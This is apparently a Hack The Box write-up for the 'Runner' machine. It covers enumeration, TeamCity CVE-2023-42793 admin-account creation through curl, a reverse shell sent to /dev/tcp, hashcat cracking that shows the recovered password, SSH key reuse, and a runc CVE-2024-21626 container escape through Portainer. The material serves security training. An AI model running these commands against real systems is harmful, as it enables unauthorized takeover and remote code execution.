Description

Runner is a Hack The Box machine exposing a TeamCity instance vulnerable to CVE-2023-42793. This vulnerability allows unauthenticated attackers to generate access tokens and create admin accounts, leading to remote code execution (RCE). The initial shell runs inside a Docker container, but SSH keys discovered within the container allow access to the host system. Privilege escalation is achieved via Portainer, exploiting a vulnerable runc version (CVE-2024-21626) to break out of a container and obtain root access.

Enumeration

We begin by scanning the target to find out which services are available.

sudo nmap -sC -sV -Pn 10.10.11.13 -o scan.txt

img This tells us that the machine is running:

  • A secure shell (SSH) service on port 22;
  • A web server on port 80;
  • An unknown service on port 8000. When visiting the main web page, we get a redirect to runner.htb. To make this address work on our machine, we add it to our hosts file:
    echo \'10.10.11.13 runner.htb\' | sudo tee -a /etc/hosts
    

    Pivoting

    Visiting http://runner.htb shows a page that appears to be related to a CI/CD system. img The page on port 8000 doesn't display anything useful but only says: “Not found”. So let's enumerate the website using two tools:

  • Gobuster;
  • Ffuf.

    Gobuster

    Gobuster is used to discover hidden directories on the website.

    gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-1.0.txt -u http://runner.htb
    

    img This scan doesn't reveal anything useful.

    Ffuf

    Ffuf can be used to identify subdomains of the website.

    ffuf -w /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "HOST:FUZZ.runner.htb" -u http://runner.htb -ac
    

    img This scan reveals a subdomain: teamcity.runner.htb. We add that to our hosts file too:

    echo \'10.10.11.13 teamcity.runner.htb\' | sudo tee -a /etc/hosts
    

    Teamcity

    When we visit http://teamcity.runner.htb, we find a login page for teamcity. img Using the version number (2023.05.3) shown on the page and looking that up we learn that this teamcity version contains a known vulnerability: CVE-2023-42793. This vulnerability allows someone to create an administrator account without needing to login first. We can exploit this vulnerability manually or automatically. In order to really understand what is going on, both ways are a good way to exploit it.

    Manual exploitation

    The information for the manual exploitation comes mostly from this source. We first send a HTTP POST request with curl to the server to get an access token.

    curl -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
    

    img We can then use this token to create a new admin user. To do this we need to send data in json format.

    {
    "username": "alcidius",
    "email": "user@alcidius.com",
    "password": "salveteegosumalcidius",
    "roles": {
      "role": [
        {
          "roleId": "SYSTEM_ADMIN",
          "scope": "g"
        }
      ]
    }
    }
    

    We can send this with curl to create a new admin user:

    curl -X POST http://teamcity.runner.htb/app/rest/users -H "Authorization: Bearer [[TOKEN]]" -H "Content-Type: application/json" --data \'{"username": "alcidius", "email": "user@alcidius.com", "password": "salveteegosumalcidius", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}\'
    

    img We now have full admin access to the web application.

    Automatic exploitation

    There is also a script available that does all the manual labor in one command:

    python3 exploit.py -u http://teamcity.runner.htb
    

    img This also creates an admin account on teamcity. However this repository also has a way to run remote code execution on the server. For this, the token must be saved to a file and provided as a parameter:

    python3 rce.py -u http://teamcity.runner.htb -c "id" -t token.txt
    

    img We can also get a reverse shell with running nc -lvnp 1234 on our machine, and then running the previous command again with a different -c input:

    python3 rce.py -u http://teamcity.runner.htb -t token -c \'"/bin/bash"&params="-c"&params="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.1%2F1234%200%3E%261"\'
    

    img

    Foothold

    Inside the web application's admin panel, it shows two other users beside our account being active on the machine:

  • John - john@runner.htb;
  • Matthew - matthew@runner.htb. img Under System Administration -> Backup we find a backup feature. img Downloading and extracting the backup gives us a database dump with password hashes for those users. img We use hashcat to crack one of these passwords:
    hashcat -m 3200 -a 0 hash_matthew.txt /usr/share/wordlists/rockyou.txt
    

    img This reveals a password (piper123), but it doesn't work for SSH login. Instead, we use the previously gained shell and look through the filesystem. Pivoting through the filesystem, we find an SSH private key stored inside the container. img These are ssh keys used to get access to a machine from a remote location. Usually there's a base64 encoding present for the key. Which can be decoded using cyberchef: img This shows the key belongs to a user named john, which is one of the users we saw earlier in the teamcity admin interface. We can get a connection using this ssh key file. img

    Privilege escalation

    After logging in, we realize we were previously inside a Docker container. Now we have access to the actual host machine. Because this is the host the containers likely run on, we check the containerization software and its versions:

    docker --version
    runc --version
    

    img This version of runc having version 1.1.7, appears to be vulnerable with CVE-2024-21626. The CVE explains this as a leaky file descriptor. This issue lets someone break out of a container and access the main system, which shouldn't be normally possible.

Looking in /etc/hosts, we find another hidden subdomain called portainer-administration.runner.htb. We add this to our /etc/hosts:

echo \'10.10.11.13 portainer-administration.runner.htb\' | sudo tee -a /etc/hosts

This leads to a web tool that manages containers called portainer. We can login with matthew's credentials we cracked earlier (matthew:piper123). img Now we can create a new docker container. img But to do so, we need to find out which images are available to the machine. img We see teamcity:latest being available. So we create a new docker container with this image. img Once created, we can get a shell to the machine and exploit the leaky file descriptor to get the root flag. img